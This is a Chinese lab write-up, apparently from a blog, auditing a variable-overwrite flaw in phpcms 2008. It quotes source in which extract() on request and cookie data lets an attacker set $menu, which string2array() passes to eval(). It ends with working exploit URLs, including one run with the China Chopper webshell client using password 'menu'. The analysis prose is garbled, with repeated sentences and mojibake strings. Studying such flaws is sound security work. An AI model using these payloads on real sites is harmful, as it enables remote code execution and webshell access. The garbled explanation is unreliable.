phpcms 2008 变量覆盖漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\ phpcms 2008),点击确定
漏洞分析
1.点击展开/yp/web/include/common.inc.php
<?php
defined('IN_PHPCMS') or exit('Access Denied');
$userid = $userid ? $userid : intval(QUERY_STRING);
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");
if($r)
{
extract($r);
}
if(!$userid)
{
$MS['title'] = '浣犺璁块棶鐨勭珯鐐逛笉瀛樺湪';
$MS['description'] = '璇锋牳瀵圭綉鍧€鏄惁姝g‘.';
$MS['urls'][0] = array(
'name'=>'璁块棶缃戠珯棣栭〉',
'url'=>$PHPCMS['siteurl'],
);
$MS['urls'][1] = array(
'name'=>'娉ㄥ唽涓烘湰绔欎細鍛?,
'url'=>$PHPCMS['siteurl'].'member/register.php',
);
msg($MS);
}
程序首先赋值一个userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给r变量数组,如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果userid变量内容为false则将显示错误页面内容,但是目前userid并没有找到在哪里获取。2.如果userid并没有找到在哪里获取。
2.如果userid并没有找到在哪里获取。2.如果userid不为false,则接着往下执行
if(empty($tplname)) $tplname = 'default';
//用户选择的默认模板
$companytpl_config = include PHPCMS_ROOT.'templates/'.TPL_NAME.'/yp/companytplnames.php';
$tpl = $companytpl_config[$tplname]['tplname'];
define('TPL', $tpl);
define('WEB_SKIN', 'templates/'.TPL_NAME.'/yp/css/');
if($diy)
{
define('SKIN_DIY', WEB_SKIN.$userid.'_diy.css');
}
else
{
define('SKIN_DIY', WEB_SKIN.$companytpl_config[$tplname]['style']);
}
$menu = string2array($menu);
代码接着进行初始化模板文件,最后将menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量从何而来?
3.现在需要了解一下string2array()到底什么作用,string2array函数存放在include/global.func.php
function string2array($data)
{
if($data == '') return array();
eval("\$array = $data;");
return $array;
}
看到函数发现,内部有eval敏感函数,并且把传送过去的menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu变量可以控制,那么完全进行任意代码执行。
4.目前成立这个假设userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成menu变量,如果能够让数据库返回空,不让他覆盖或者生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,从而执行想执行代码。
5.在include/common.inc.php文件中,会将GET、POST、Cookie转换成变量
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
所以可以利用这个位置提前生成menu变量和menu变量和menu变量和userid变量,并且把userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,menu变量内容为想要执行的代码。
漏洞利用
1.访问
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=phpinfo();exit;

菜刀直接连接
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=exit;
//密码 menu
phpcms 2008 变量覆盖漏洞的更多相关文章
- php之变量覆盖漏洞讲解
1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...
- ctf变量覆盖漏洞:
1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- 7. 由一道ctf学习变量覆盖漏洞
0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...
- Web安全之变量覆盖漏洞
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...
- 代码审计-MetInfo CMS变量覆盖漏洞
0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...
- CTF——代码审计之变量覆盖漏洞writeup【2】
题目: 基础: 所需基础知识见变量覆盖漏洞[1] 分析: 现在的$a=’hi’,而下面的函数需满足$a=’jaivy’才可以输出flag,那么需要做的事就是想办法覆盖掉$a原来的值. 那么出现的提示 ...
- 2020/2/1 PHP代码审计之变量覆盖漏洞
0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...
随机推荐
- 2018 PHP面试题
2018 PHP面试题 题目来自<PHP程序员面试笔试宝典>,里面涵盖了近三年了各大型企业常考的PHP面试题,针对面试题提取出来各种面试知识也涵盖在了本书. 1.PHP常考基础 1.PHP ...
- Solution -「NOI 模拟赛」出题人
\(\mathcal{Description}\) 给定 \(\{a_n\}\),求一个 \(\{b_{n-1}\}\),使得 \(\forall x\in\{a_n\},\exists i,j\ ...
- operator 之旅(一)
环境准备 依赖版本 MAC M1 kubernetes: 1.18.3 go: 1.17.6 kubebuilder:3.1.0 知识必备 Kubernetes的Group.Version.Resou ...
- IDEA配置scala
IDEA中配置scala 准备:先下好IDEA和scala安装包,配置好jdk环境 scala不想去官网下载的可以直接去百度网盘下载 链接: 链接:https://pan.baidu.com/s/17 ...
- BI报表系统该如何集成到其他系统呢?
近期小麦我经常收到很多用户的反馈,想知道Smartbi的报表能不能从微信/钉钉之类的直接跳转到已做好的报表页面?他们都希望通过这种方式尽可能地避免由于各个管理软件账号密码不同而造成的不便,能够在日常工 ...
- Centos7使用kubeadm安装1.23.1版本的k8s集群
系统环境 #cat /etc/redhat-release CentOS Linux release 7.6.1810 (Core) #Linux内核一定要大约等于3.10,也就是centos版本要大 ...
- 【C# TAP 异步编程】一 、async 修饰符(标记)
async的作用: 1.async是一个标记,告诉编译器这是一个异步方法. 2.编译器会根据这个标志生成一个异步状态机. 3.编译器将原异步方法中的代码清空,写入状态机的配置,原先异步方法中的代码被封 ...
- ORACLE 12c RAC日常维护命令
转至:https://blog.51cto.com/ixdba/901545 CRS提供了很多命令可以管理和查看集群服务状态,常用的有crs_stat.crs_start.crs_stop.crsct ...
- Linux 组网入门(转)
转至:https://blog.csdn.net/cuijiao1893/article/details/100397875 Linux 组网入门(转)[@more@]WEB 服务器 现在在Inter ...
- Python:序列化 pickle JSON
序列化 在程序运行的过程中,所有的变量都储存在内存中,例如定义一个dict d=dict(name='Bob',age=20,score=88) 可以随时修改变量,比如把name修改为'Bill',但 ...